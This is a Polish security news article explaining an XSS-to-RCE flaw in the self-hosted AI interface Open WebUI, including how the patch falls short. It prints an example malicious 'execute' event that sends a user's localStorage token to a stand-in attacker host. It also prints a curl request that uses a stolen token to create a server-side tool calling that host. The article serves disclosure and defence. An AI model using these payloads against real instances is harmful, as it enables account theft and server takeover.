Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

Jak zewnętrzne API mogło przejąć konto, a nawet serwer – XSS oraz RCE w Open WebUI

19 lutego 2026, 04:18 | Aktualności, W biegu | 0 komentarzy
Tagi: , , , ,

Gdy zestawi się (mało powiązane ze sobą) słowa “AI” oraz “bezpieczeństwo”, zazwyczaj w pierwszej kolejności myślimy o stawianiu lokalnych modeli, a w przypadku gotowych usług – sprawdzamy, jak nasze dane wykorzystywane są do trenowania modelu. To oczywiście ważne kwestie, ale trzeba również pamiętać, że “narzędzia AI” mają problemy niezwiązane wcale z AI.

TLDR:

  • Open WebUI w wersjach poniżej 0.6.34 pozwala na XSS przez odpowiedzi zewnętrznych API (Direct Connections).
  • Złośliwe API może zwrócić event typu execute i przekazać kod JavaScript, który wykona się w przeglądarce użytkownika.
  • Umożliwia to przejęcie konta poprzez kradzież tokenu JWT z localStorage. Przy odpowiednich uprawnieniach atak może prowadzić do RCE na serwerze.
  • Poprawka w v0.6.35 ogranicza część scenariuszy, ale nie eliminuje problemu w przypadku API dodanych globalnie przez administratora.

Open WebUI to otwartoźródłowa, samodzielnie hostowana platforma AI. Jest to interfejs webowy do komunikacji z modelami – przydaje się zwłaszcza wtedy, gdy hostujemy model samodzielnie lub korzystamy jednocześnie z wielu API. Można korzystać z niej na własnym serwerze, ale również lokalnie na urządzeniu. Obsługuje różne interfejsy LLM, takie jak Ollama i API kompatybilne z OpenAI. 

Po opisywanej już na sekuraku podatności XSS (w niektórych przypadkach prowadzącej do RCE) przyszła pora na kolejne znalezisko w tym narzędziu. Badacz z Cato CTRL odkrył podatność związaną z funkcją Direct Connections, która pozwala użytkownikom łączyć się z zewnętrznymi serwerami modeli AI (np. API OpenAI).

Jeśli atakującemu uda się przekonać użytkownika do połączenia ze złośliwym serwerem, może przejąć jego konto. Jeśli użytkownik ma również przyznane uprawnienia workspace.tools, atakujący może uzyskać dostęp do serwera, na którym hostowana jest instancja Open WebUI. Mamy więc (podobnie jak w poprzednio opisywanym przypadku) podatność XSS, która może doprowadzić do RCE.

Co ważne, podatna jest wersja v0.6.34 i starsze. Zaktualizowanie instancji (np. w związku z poprzednią podatnością, bo ona również została po tej wersji załatana) do wersji v0.6.35 lub nowszej rozwiązuje główny problem (choć nie do końca, ale o tym poniżej). Warto na bieżąco dbać o aktualizacje wykorzystywanych usług / narzędzi.

Jak wygląda atak

Proces zaczyna się gdy atakującemu uda się przekonać ofiarę do połączenia (w ramach Open WebUI) ze złośliwym serwerem (poprzez dodanie własnego API). Może on w tym celu wykorzystać metody socjotechniczne albo kupić domeny łudząco podobne do tych, których używają popularni dostawcy API. O tej i innych technikach można poczytać tutaj. Atakujący nie musi mieć na tym etapie żadnego dostępu do instancji Open WebUI. 

Użytkownik wykonuje akcję, która nie wydaje szczególnie wrażliwa / niebezpieczna. Jeśli z instancji korzysta wiele osób, nie dziwi fakt że każda z nich może mieć swoje klucze API u różnych usługodawców i łączyć się z różnymi modelami.

Gdy użytkownik wyśle dowolną wiadomość (prompt) do dodanego w ten sposób (złośliwego) modelu, umożliwia atakującemu przejęcie jego konta. Odpowiedź z zewnętrznego API – choć powinna być tekstem – może zawierać kod JavaScript, który wykona się w przeglądarce użytkownika. Może to prowadzić np. do przejęcia konta – przechowywany w localStorage  token zostaje odczytany i wysłany na serwer atakującego.

Open WebUI korzysta z SSE (Server-sent events). Jednym z parametrów obsługiwanego eventu jest typ (type), według którego handler wykonuje dalsze akcje. W kodzie widzimy, że jednym z takich typów jest execute – to właśnie z tej właściwości skorzystał badacz przy wykonywaniu testowych ataków. Okazało się bowiem, że odpowiedzi modelu mogą zawierać eventy.

Rys. 1 – kod obsługujący SSE, źródło: github.com

Jeśli event ma typ execute, to przekazany w nim kod jest wykonywany w przeglądarce użytkownika. Wbrew temu, co zdaje się sugerować komentarz, umieszczenie kodu w funkcji nie sprawia, że jest on bezpieczniejszy od wykonanego np. w eval ;-)

Przykładowy event, który można było wysłać do Open WebUI:

{{
  "event": {
    "type": "execute",
    "data": {
      "code": "await fetch('https://strona-atakujacego[.]local/send?token=' + encodeURIComponent(localStorage.token))"
    }
  }
}

Spowoduje on wykonanie kodu JavaScript w przeglądarce użytkownika po zadaniu przez niego dowolnego pytania modelowi. W tym przypadku przeglądarka wykonuje żądanie GET do strony zdefiniowanej przez atakującego, przesyłając w adresie URL token uwierzytelniający użytkownika.

Przejmowanie konta przez token JWT

Mimo że w procesie logowania token JWT (JSON Web Token) jest przekazywany w cookies z atrybutem HttpOnly ustawionym na true (dla loginu i hasła) i false (dla OAuth), finalnie trafia on do localStorage, gdzie bez problemu można odczytać jego wartość w warstwie frontendu aplikacji.

Rys. 2 – przekazywanie tokenu w cookies, źródło: github.com

Token użytkownika udziela dostępu do:

  • historii czatów użytkownika (z ostatnich 6 miesięcy)
  • kluczy API dodanych przez użytkownika
  • przesłanych przez użytkownika załączników

Na ten moment jest to więc “jedynie” XSS z przejęciem konta, bo atakujący ma dostęp do instancji jako zwykły użytkownik. Ale podatność ta może doprowadzić do zdalnego wykonania kodu. Jest to możliwe tylko w przypadku, gdy użytkownik ma przyznane uprawnienie workspace.tools (np. administrator instancji). Uprawnienie to wiąże się z możliwością wykonywania kodu na serwerze, na którym działa Open WebUI, o czym sama aplikacja informuje przy udzielaniu tego uprawnienia.

Po przejęciu tokenu w opisany wyżej sposób, atakujący może połączyć się z API Open WebUI i sprawdzić uprawnienia użytkownika. Jeśli konto miało dostęp do workspace.tools, może on przejąć kontrolę nad całą instancją.

Moduł tools wykonuje zdefiniowany przez uprawnionego użytkownika kod Python bez sandboxingu i walidacji, przyznając pełny dostęp do wykonywania poleceń, odczytu/zapisu plików, nawiązywania połączeń oraz wykonywania dowolnych operacji dostępnych dla procesu aplikacji.

Przykładowe żądanie, jakie można wysłać do serwera (w tym przypadku narzędziem curl):

curl -X POST "https://openwebui[.]local/api/v1/tools/create" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <PRZEJĘTY-TOKEN>" \
  -d '{
    "id": "request_tool",
    "name": "Request Tool",
    "content": "import requests\nurl = \"https://strona-atakujacego[.]local/send?from=server\"\nresponse = requests.get(url)",
    "meta": {
      "description": "Request",
      "manifest": {}
    }
  }'

Chociaż takie żądanie zwraca błąd (No Tools class found in the module), kod był wykonywany – serwer atakującego otrzymywał żądanie z parametrem from o wartości server. 

Podatność została znaleziona i zgłoszona w październiku 2025, a upubliczniona w listopadzie. Twórcy dodali poprawkę, która nie pozwala na tworzenie eventów modelom dodanym jako “Direct Connections”, czyli bezpośrednio do konta użytkownika. W tym miejscu chcieliśmy napisać, że takie ograniczenie rozwiązuje problem… ale nie byłaby to do końca prawda.

Problematyczna poprawka

Zmiana w kodzie ogranicza przekazywanie eventu (SSE), gdy był zawarty w odpowiedzi na żądanie (np. do zewnętrznego API).

Rys. 3 – podatny fragment kodu wraz z poprawką, źródło: github.com

W efekcie eventy SSE zadziałają tylko dla żądań niebędących direct. A direct oznacza w tym przypadku połączenie z API skonfigurowanym indywidualnie przez użytkownika (wspomniana na początku funkcja Direct Connections). Problem polega na tym, że połączenie z zewnętrznym API może ustanowić nie tylko użytkownik.

Połączenia takie są możliwe także dla całej instancji, konfigurowane przez administratora. Choć jest mniej prawdopodobne, że administrator doda złośliwe API, taki atak dotknie jednak wszystkich użytkowników i zwiększy szanse, że przejęte zostanie konto z uprawnieniami administratora.

Rys. 4 – dodawanie złośliwego API w panelu administratora

Jest to istotne dlatego, że Open WebUI jest aplikacją self-hosted, a więc przez “administratorów” nie rozumiemy osób zarządzających całą usługą (jak byłoby w przypadku SaaS), a wielu zarządzających indywidualnymi, niezależnymi instancjami.

Choć zazwyczaj są to osoby choć trochę “techniczne” (samodzielnie stawiają usługę na serwerze), nie jest wykluczone, że uprawnienia administratora ma więcej osób (np. zarządzających, ale niekoniecznie z IT). Taka funkcjonalność jest (niezależnie od świadomości użytkownika) podatna na ataki typosquatting, czyli wykorzystanie domeny z literówką.

Ponadto, gdy weźmiemy pod uwagę instancje typu single-user – gdzie użytkownik jest również administratorem instancji – dodanie zewnętrznego API dla całej usługi oznacza właściwie to samo, co dodanie go jako Direct Connection. Oczywiście można stwierdzić, że to administrator na własne ryzyko dodaje połączenie z API, ale to nie chodzi o samo połączenie, a o uprawnienia takich usług.

W naszej ocenie zewnętrzne API, nawet jeśli zostanie dodane przez administratora instancji, nie powinno mieć możliwości wykonywania kodu w przeglądarce użytkownika (chyba, że taki będzie jasny cel i użytkownik się na to zgodzi). W przypadku Open WebUI użytkownik spodziewa się odpowiedzi LLM na zadane pytanie, a nie kodu który natychmiast zostanie u niego wykonany.

Problem oczywiście zasygnalizowaliśmy twórcom Open WebUI, jednak wysłane zgłoszenie po 3 tygodniach doczekało się jednego słowa komentarza: “intended”. Nie linkujemy do tej konwersacji (nie jest zresztą dostępna publicznie), bo znajduje się w niej gotowy PoC i kod serwera wykorzystujący podatności całkowicie zamierzone funkcje prowadzące do przejęcia konta (XSS) i umożliwiające zdalne wykonywanie kodu (RCE).

Samodzielnie hostowane narzędzia często są dobrym wyborem pod kątem zgodności z regulacjami (kwestia przetwarzania danych osobowych), natomiast nie można zapominać, że ich także dotyczą problemy z bezpieczeństwem. To, że dane narzędzie jest “u nas” wcale nie oznacza, że jest bezpieczne.

W przypadku zarządzania takimi usługami, warto na bieżąco dbać o aktualizacje. Można także zastanowić się, czy w ogóle potrzebujemy wystawiać je publicznie (czy wystarczy, by były dostępne w sieci firmowej / przez VPN). Polecamy także ograniczać uprawnienia użytkowników do niezbędnego minimum – pomoże to ograniczyć skutki ewentualnego ataku.

Jeśli korzystamy z zewnętrznych API, Open WebUI (będące jedynie interfejsem do korzystania z nich) może działać lokalnie na urządzeniu, bez jakiegokolwiek dostępu “z zewnątrz”. Taka konfiguracja zmniejszy skutki ataku skorzystania z funkcji XSS i uniemożliwi RCE. Warto też uważać, z jakimi API (domenami) się łączymy, bo jak widać phishing w przeglądarce nie jest jedynym zagrożeniem związanym ze złośliwymi domenami. 

Źródła:

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz